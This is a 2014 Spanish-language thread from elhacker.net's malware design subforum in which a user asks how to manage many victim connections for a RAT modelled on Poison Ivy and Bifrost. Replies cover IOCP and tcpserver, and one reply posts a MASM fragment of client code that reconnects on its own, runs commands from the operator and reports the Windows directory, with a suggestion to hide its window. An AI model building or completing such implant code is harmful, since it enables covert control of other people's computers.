Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: .:UND3R:. en 11 Febrero 2014, 13:27 pm



Título: Administrar múltiples sockets
Publicado por: .:UND3R:. en 11 Febrero 2014, 13:27 pm
Hola a todos tengo una duda, como podría administrar múltiples clientes, me baso en la idea de Poison Ivy, Bifrost, entre otros rat.

Mi idea es crear un thread por cada conexión recibida y asignar un especie de identificador único y ese mismo identificador agregarlo a una tabla. Ahora cuando quiera realizar una acción en un servidor específico ¿cómo lo haría?

No existe alguna guía en donde se estructure la administración de conexiones?, saludos y gracias


Título: Re: Administrar múltiples sockets
Publicado por: Arkangel_0x7C5 en 12 Febrero 2014, 11:54 am
Un hilo por cada conexión no es escalable.
Luego para administrarlo solo necesitas tener una lista(Lista enlazada) de conexiones y en la interface grfica. pues con un listBox que cambie entre conexiones para que todo lo que hagas se realice sobre la conexión que esta actualmente seleccionada. Si quieres usar varias conexiones usa los i/o completion port que permiten a unos cuantos hilos manejar muchisimas conexiones de manera asíncrona

un saludo Ark

PD: ejemplo de iocp aqui (https://blackstack.org/t/src-i-o-asincrono-windows/672)


Título: Re: Administrar múltiples sockets
Publicado por: .:UND3R:. en 12 Febrero 2014, 15:17 pm
Un hilo por cada conexión no es escalable.
Luego para administrarlo solo necesitas tener una lista(Lista enlazada) de conexiones y en la interface grfica. pues con un listBox que cambie entre conexiones para que todo lo que hagas se realice sobre la conexión que esta actualmente seleccionada. Si quieres usar varias conexiones usa los i/o completion port que permiten a unos cuantos hilos manejar muchisimas conexiones de manera asíncrona

un saludo Ark

PD: ejemplo de iocp aqui (https://blackstack.org/t/src-i-o-asincrono-windows/672)

Me ha quedado todo claro excepto el "No es escalable", a que te refieres con eso?, saludos (me diste una gran solución muchas gracias :) )


Título: Re: Administrar múltiples sockets
Publicado por: Arkangel_0x7C5 en 12 Febrero 2014, 23:20 pm
pues con lo de escalable me refiero a quecon forme aumentas el numero de conexiones e hilos vas gastando mas y mas recursos
Y llega un momento en que el SO esta mas tiempo cambiando de hilo que ejecutandolos

un saludo


Título: Re: Administrar múltiples sockets
Publicado por: Vaagish en 12 Febrero 2014, 23:31 pm
Citar
pues con lo de escalable me refiero a quecon forme aumentas el numero de conexiones e hilos vas gastando mas y mas recursos
Y llega un momento en que el SO esta mas tiempo cambiando de hilo que ejecutandolos

Pero supone un problema grave?? Es decir.. da como para saturar el procesador? Siempre suponiendo que no van a haber 10.000 computadoras conectadas.. Yo seria de la idea de los hilos, o al menos hacer una prueba..

Saludos!


Título: Re: Administrar múltiples sockets
Publicado por: Vaagish en 12 Febrero 2014, 23:33 pm
Esta como medio raro ese ejemplo:

Citar
>device.ioCompletion((IODevice*)io,buff,
                                                                   BytesTransfered,opCode,
                                                                   errorCode);
                break;
            case OP_CLOSE:
                if(io->device.ioCompletion)io->device.ioCompletion((IODevice*)io,buff,
                                                                   BytesTransfered,opCode,
                                                                   errorCode);
                io->device.closeHandle((IODevice*)io);
                free(io);
            default:
                ;
        }


Título: Re: Administrar múltiples sockets
Publicado por: .:UND3R:. en 14 Febrero 2014, 23:31 pm
Si pongo dos variables en el main, una identifica a que cliente quiero referirme y otra que operación pretendo realizar, cada hilo verifica si el identificador se refiere a el y en el caso que sea así realiza la opción, ¿Qué les parece?


Título: Re: Administrar múltiples sockets
Publicado por: Vaagish en 15 Febrero 2014, 00:38 am
Seria algo así como utilizar los dos métodos? Debería funcionar, quizás quede un poco mas pesado, y no estoy seguro que valga la pena,, pero puede quedar bien organizado.. creo que vas a tener que optar por la que mas te parezca, o... dedicarle un poco mas de tiempo y probar todas.. la que resulte mas fácil/funcional de implementar es la que utilizas..

Suerte! Saludos!

PD: Si queres tengo algo medio armado en sockets Asyn en C++


Título: Re: Administrar múltiples sockets
Publicado por: Arkangel_0x7C5 en 15 Febrero 2014, 14:38 pm
Esta como medio raro ese ejemplo:

Ya esta corregido, la actualizacion de ese foro parece que estropeo un poco la vusualizacion

.:UND3R:.
Si guardas una lista de los clientes, en esa estructura podrias poner si quisieras una cola de operaciones a realizar

Pero bueno, con lo que te enseñe de IOCP, da igual el hilo que realice las operaciones de lectura escritura
Y si te fijas, la estructura overlapped puedes modificarla a gusto paar poner que operacion hay que realizar y poner un puntero que apunte a datos o a un contexto como la informacion de el cliente

un saludo
PD: lo de saturar el procesador no se cuando empezaria a ocurrir, porque depende de la maquina y del SO


Título: Re: Administrar múltiples sockets
Publicado por: moikano→@ en 15 Febrero 2014, 17:08 pm
Si tu idea es hacerlo con linux hay un programa que gestiona las conexiones, su uso es parecido a netcat pero crea sockets por cada conexión que recibe.
El programa es tcpserver, aún no lo he probado pero me lo recomendo un compañero del cual me fio al 100%, además el creador del programa es el mismo que el de supervisor entre otros, así que tiene que se rde calidad.

El enlace http://cr.yp.to/ucspi-tcp/tcpserver.html (http://cr.yp.to/ucspi-tcp/tcpserver.html).

Ten en cuenta que el verdadero limite de conexiones que tendrás serán el número de puertos, pero no creo que tengas siempre todas las máquinas encendidas y conectadas.

Espero haber sido de ayuda. Saludos.


Título: Re: Administrar múltiples sockets
Publicado por: daryo en 15 Febrero 2014, 20:58 pm
hace algun tiempo me tope con el mismo problema y encontre varios codigos y algunos tutos del tema(ya no recuerdo donde)q talves puedan servir, para windows
https://gist.github.com/daryo963/9f619aed67ac632987ad

y si usan threads

um se me olvido preguntar de que lenguaje estamos hablando?


Título: Re: Administrar múltiples sockets
Publicado por: .:UND3R:. en 15 Febrero 2014, 23:11 pm
¿Qué le pasa a el foro este último tiempo?, no paran de prestar una muy buena disposición. Muchas gracias por toda la info :)

Lenguaje puede ser: MASM, C, C++ (creo poder entenderlo), Java

Saludos


Título: Re: Administrar múltiples sockets
Publicado por: Vaagish en 16 Febrero 2014, 02:17 am
En MASM:

Lo podes declarar algo asi al socket:
Código
  1. ThreadProc PROC
  2.  
  3. invoke Sleep, 5000
  4. invoke WSAStartup, addr WsaV, addr wsa
  5. invoke socket, AF_INET, SOCK_STREAM, 0
  6. mov Sock, eax
  7. invoke WSAAsyncSelect, Sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
  8. mov sa.sin_family, AF_INET
  9.  
  10. invoke inet_addr, addr Direc
  11. mov sa.sin_addr, eax
  12.  
  13. invoke htons, Puerto
  14. mov sa.sin_port, ax
  15.  
  16. invoke connect, Sock, addr sa, sizeof sa
  17.  
  18. ret
  19. ThreadProc ENDP

Y lo usas algo asi:
Código
  1. WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
  2.  
  3. .IF uMsg==WM_DESTROY
  4.  
  5. invoke PostQuitMessage, NULL
  6.  
  7. .ELSEIF uMsg==WM_CREATE
  8.  
  9. mov eax, OFFSET ThreadCop
  10. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, addr ThreadID2
  11. invoke CloseHandle, eax
  12.  
  13. .ELSEIF uMsg==WM_FINISH
  14.  
  15. ;El Thread Copiar Termino, Inicio El Thread Conectar..
  16. mov eax, OFFSET ThreadProc
  17. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
  18. invoke CloseHandle, eax
  19.  
  20. .ELSEIF uMsg==WM_SOCK
  21.  
  22. mov edx, lParam
  23.  
  24. .IF dx==FD_CONNECT
  25.  
  26. shr edx, 16
  27. .IF dx==NULL
  28. ; Si dx esta vacio, significa conexion exitosa, sino podemos evaluar el ErrorCode
  29. ; en dx, los errores son constantes
  30. invoke wsprintf, addr Cnex, addr Saludo, addr RegBuffer
  31. invoke send, Sock, addr Cnex, sizeof Cnex, 0
  32.  
  33. .ELSE
  34.  
  35. mov eax, OFFSET ThreadProc
  36. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
  37. invoke CloseHandle, eax
  38.  
  39. .ENDIF
  40.  
  41. .ELSEIF dx==FD_CLOSE
  42.  
  43. shr edx, 16
  44. .IF dx!=NULL
  45. mov eax, OFFSET ThreadProc
  46. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
  47. invoke CloseHandle, eax
  48. ; Podemos evaluar a dx para saber el ErrorCode, en este caso no se precisa,, cualquier
  49. ; Desconexion remota significa volver a conectarse ;)
  50. .ENDIF
  51.  
  52. .ELSEIF dx==FD_READ
  53.  
  54. shr edx, 16
  55. .IF dx==NULL
  56.  
  57. invoke memfill, addr buffer, sizeof buffer, 0
  58. invoke memfill, addr Dato1, sizeof Dato1, 0
  59. invoke memfill, addr Dato2, sizeof Dato2, 0
  60.  
  61. invoke recv, Sock, addr buffer, SIZEOF buffer, 0
  62.  
  63. mov ecx, -1
  64. mov ebx, -1
  65.     Repite:
  66.         inc ecx
  67.         mov al, byte ptr ds:[buffer + ecx]
  68. cmp al, '|'
  69. je Salta
  70. mov [Dato1 + ecx], al
  71. jmp Repite
  72. Salta:
  73. inc ecx
  74. inc ebx
  75. cmp byte ptr ds:[buffer + ecx], 0
  76.         je Salir
  77.         mov al, byte ptr ds:[buffer + ecx]
  78.         mov [Dato2 + ebx], al
  79. jmp Salta
  80. Salir:
  81. invoke szCmp, addr Dato1, addr Find
  82. .if eax!=0
  83.  
  84. invoke szCmp, addr Dato2, addr WinDir
  85. .if eax!=0
  86.  
  87. invoke LoadLibrary, addr Kn32
  88. invoke GetProcAddress, eax, addr GWD
  89. push MAX_PATH
  90.     push offset Ruta
  91.     call eax
  92.  
  93.     invoke wsprintf, addr WinR, addr WinFrmt, addr Ruta
  94.     invoke send, Sock, addr WinR, sizeof WinR, 0
  95.  
  96. invoke wsprintf, addr Bfr, addr Frmt, addr Ruta
  97. mov eax, OFFSET ThreadBus
  98. invoke CreateThread, NULL, NULL, eax, addr Bfr, NORMAL_PRIORITY_CLASS, addr ThreadID3
  99. invoke CloseHandle, eax
  100.  
  101. .else
  102.  
  103. mov eax, OFFSET ThreadBus
  104. invoke CreateThread, NULL, NULL, eax, addr Dato2, NORMAL_PRIORITY_CLASS, addr ThreadID3
  105. invoke CloseHandle, eax
  106.  
  107. .endif
  108.  
  109. .endif
  110.  
  111.  
  112. .ENDIF

Es complicado entenderlo asi.. pero a lo mejor te puede dar una idea..

Suerte!!


Título: Re: Administrar múltiples sockets
Publicado por: Arkangel_0x7C5 en 16 Febrero 2014, 02:44 am
Vaagish

Pero asi necesitas de una ventana para el bucle de eventos, el no tiene porque tener una ventana.....



Título: Re: Administrar múltiples sockets
Publicado por: Vaagish en 16 Febrero 2014, 07:14 am
Ajam.. pero podría ocultarla..  :silbar: Es una posibilidad..  :rolleyes:

Saludos!!